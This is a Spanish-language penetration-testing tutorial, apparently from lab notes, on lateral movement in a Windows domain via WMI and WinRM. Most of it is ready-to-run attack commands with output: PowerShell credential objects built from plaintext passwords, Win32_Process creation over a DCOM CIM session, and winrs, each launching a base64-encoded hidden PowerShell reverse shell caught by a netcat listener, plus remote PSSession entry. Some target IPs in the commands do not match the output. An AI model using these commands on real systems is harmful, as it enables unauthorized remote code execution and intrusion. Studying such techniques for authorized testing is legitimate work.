WMI

Podemos realizar movimientos laterales con WMI (Windows Management Instrumentation) creando procesos, para ello necesitamos credenciales de Administrador, un miembro de el grupo Administrators local group, o un usuario del dominio.

Con esta manera, podemos movernos lateralmente con nuestro usuario a otra maquina del dominio desde powershell

PS C:\\Users\\jeff> $username = 'primaryadmin';
PS C:\\Users\\jeff> $password = 'Password123';
PS C:\\Users\\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\\Users\\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

PS C:\\Users\\jeff> $Options = New-CimSessionOption -Protocol DCOM
PS C:\\Users\\jeff> $Session = New-Cimsession -ComputerName 10.10.92.142 -Credential $credential -SessionOption $Options

Y por último, introducimos la variable $command con la reverse shell de powershell en base64, creada en revshells.com, y posteriormente ejecutamos y recibimos la shell

PS C:\\Users\\jeff> $Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';

PS C:\\Users\\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

ProcessId ReturnValue PSComputerName
--------- ----------- --------------
     3948           0 192.168.50.73
kali@kali:~$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.118.2] from (UNKNOWN) [192.168.50.73] 49855

PS C:\\windows\\system32\\driverstore\\filerepository\\ntprint.inf_amd64_075615bee6f80a8d\\amd64> hostname
FILES04

WinRM

Con WinRM tambien podemos realizar este movimiento lateral con nuestro usuario, podemos realizarlo desde CMD o desde powershell.

Desde CMD con la herramienta winrs es bastante sencillo, introducimos la máquina donde queremos movernos, nuestras credenciales y el comando a ejecutar, en este caso una reverse shell de powershell encodeada en base64, ejecutamos nos ponemos en escucha y recibimos shell en otra maquina.

C:\\Users\\jeff>winrs -r:files04 -u:jen -p:Password123  "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
kali@kali:~$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.118.2] from (UNKNOWN) [192.168.50.73] 65107
PS C:\\Users\\jen> hostname
FILES04
PS C:\\Users\\jen> whoami
corp\\jen

Otra opción, es hacerlo desde powershell, creando variables. Y podemos gestionar las sesiones abiertas desde la misma powershell, como si fuera metasploit.

Creamos variables con nuestras credenciales.

PS C:\\Users\\jeff> $username = 'dmzadmin';
PS C:\\Users\\jeff> $password = 'SlimGodhoodMope';
PS C:\\Users\\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;

Ejecutamos el módulo indicando donde queremos movernos y se abre la sesión.

PS C:\\Users\\jeff> New-PSSession -ComputerName 10.10.19.154 -Credential $credential

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          192.168.50.73   RemoteMachine   Opened        Microsoft.PowerShell     Available

Ahora podemos introducir la sesión donde queremos movernos

PS C:\\Users\\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\\Users\\jen\\Documents> whoami
corp\\jen

[192.168.50.73]: PS C:\\Users\\jen\\Documents> hostname
FILES04